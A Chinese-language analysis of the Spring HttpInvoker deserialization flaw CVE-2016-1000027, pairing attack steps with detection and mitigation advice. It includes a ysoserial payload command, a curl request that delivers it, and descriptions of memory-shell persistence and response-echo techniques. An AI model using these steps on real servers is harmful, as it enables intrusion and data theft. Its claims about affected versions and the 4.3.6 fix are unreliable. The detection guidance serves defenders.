CVE-2016-1000027: Spring Framework HttpInvoker 反序列化漏洞分析

0x00 漏洞背景与详情

  • 漏洞名称:Spring Framework HttpInvoker 远程代码执行漏洞
  • CVE 编号:CVE-2016-1000027
  • 影响组件:Spring Framework (spring-web)
  • 影响版本
    • Spring Framework < 4.3.6
    • Spring Framework 5.0.0.M1 - 5.0.0.M5
  • 漏洞类型:Java 反序列化漏洞
  • 危险等级:高危 (CVSS 9.8)

CVE-2016-1000027 是 Spring Framework 中一个经典的反序列化漏洞。该漏洞存在于 Spring 的 HTTP 远程调用(HTTP Invoker)机制中,攻击者可以通过向受影响的端点发送特制的序列化对象,在目标服务器上实现任意代码执行。

0x01 漏洞原理分析

Spring HttpInvoker 是一种基于 HTTP 协议的远程调用机制,它使用 Java 原生序列化来传输 RemoteInvocationRemoteInvocationResult 对象。

漏洞的核心在于 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter 类。当该类被配置为导出某个服务时,它会处理 HTTP POST 请求。在处理过程中,它会调用 readRemoteInvocation 方法从请求的输入流中读取数据:

// org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) 
        throws IOException, ClassNotFoundException {
    ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
    try {
        return (RemoteInvocation) ois.readObject();
    } finally {
        ois.close();
    }
}

由于该方法直接使用了 Java 原生的 ObjectInputStream.readObject(),且在反序列化之前没有对类进行任何白名单过滤或安全校验,攻击者可以构造包含恶意 Gadget Chain(如 Apache Commons Collections, Spring Beans 等)的序列化对象。

readObject() 被执行时,如果目标应用的 Classpath 中存在易受攻击的库,恶意代码就会被触发,导致远程代码执行。

0x02 漏洞 POC 与高级利用姿势

POC 构造思路

利用 ysoserial 工具生成一个针对 CommonsCollections1 利用链的 Payload,并将其作为二进制数据发送给 HttpInvoker 接口。

  1. 生成 Payload

    java -jar ysoserial.jar CommonsCollections1 "touch /tmp/cve_2016_1000027_pwned" > payload.bin
  2. 发送请求: 假设受影响的接口地址为 http://target.com/remoting/OrderService

    curl -X POST --data-binary @payload.bin http://target.com/remoting/OrderService

进阶利用姿势

1. 内存马(Memshell)注入

由于反序列化漏洞可以执行任意 Java 代码,在文件监控严格的环境中,注入内存马是实现持久化控制的最佳选择。在 Spring 环境下,常见的注入姿势包括:

  • Controller 型:通过反射向 RequestMappingHandlerMapping 动态注册一个新的 Controller 接口。
  • Interceptor 型:向 Spring 的拦截器链(Interceptor)中插入恶意逻辑。
  • 利用思路:通过 RequestContextHolder.getRequestAttributes() 获取当前请求的 HttpServletRequest,进而获取 WebApplicationContext,动态加载并注册恶意类。

2. 回显技术(Echo Technique)

在不出网环境或需要获取命令执行结果时,常用的 Spring 回显方案包括:

  • RequestContextHolder 方案:获取当前的 HttpServletResponse 对象,将执行结果直接写入 Response Body。
    HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
    response.getWriter().println(result);
  • 异常回显(Exception-based Echo):将命令执行结果作为异常信息抛出,结果会显示在 500 错误页面中。

真实利用案例

在某大型企业内部,OA 系统使用了 Spring HttpInvoker 进行各模块间的业务调用。由于接口缺乏鉴权且直接暴露在内网中,渗透测试人员在获取某台内网机器权限后,通过目录扫描发现了该 RPC 接口。利用 ysoserial 结合内网环境中的旧版本 commons-collections 库,并在无法出网的情况下采用了 异常回显技术,成功在 OA 服务器上执行了命令并获取了核心业务数据库配置。

0x03 应急排查与日志痕迹分析建议

1. 漏洞环境排查

  • 依赖检查:检查项目的 pom.xmlbuild.gradle,查看 spring-web 的版本是否在受影响范围内。
  • 代码审计:全局搜索项目中是否配置了 HttpInvokerServiceExporter
    • XML 配置<bean class="org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter">
    • Java 配置new HttpInvokerServiceExporter()
  • 指纹识别:使用工具扫描 Web 路径,寻找可能存在的 RPC 端点(常见路径如 /remoting/**.remote 等)。

2. 日志痕迹分析

  • Web 访问日志
    • 特征路径:关注所有指向 HttpInvoker 映射路径的 HTTP POST 请求。
    • 异常响应:反序列化攻击如果由于环境不支持失败(例如类转换异常),日志中通常会记录大量的 500 Internal Server Error
  • 流量特征分析
    • 魔数识别:Java 序列化流量的头部包含固定的魔数 AC ED 00 05(十六进制)。可以在 IDS/IPS 或 WAF 日志中检索请求体起始位置包含此特征的记录。
  • 应用堆栈日志
    • catalina.out 或业务日志中,寻找 java.io.ObjectInputStream 相关的异常堆栈。
    • 重点关注类似 java.lang.ClassCastException: org.apache.commons.collections.map.LazyMap cannot be cast to org.springframework.remoting.support.RemoteInvocation 的报错,这通常是反序列化攻击尝试的直接证据。

0x04 修复与缓解建议

  1. 升级组件:升级 Spring Framework 到 4.3.6+5.x 稳定版(需要注意的是,Spring 官方在较新版本中已完全废弃了该功能)。
  2. 禁用不必要的功能:如果业务不需要基于 HTTP 的 Java 序列化远程调用,应直接移除 HttpInvokerServiceExporter 的相关配置。
  3. 安全反序列化:如果必须使用,应自定义 HttpInvokerServiceExporter,重写 createObjectInputStream 方法,使用带有白名单严格校验的 ObjectInputStream
  4. 网络隔离:此类 RPC 接口严禁直接暴露在互联网上,应通过防火墙或安全组仅允许内网受信 IP 访问。

0x05 参考资料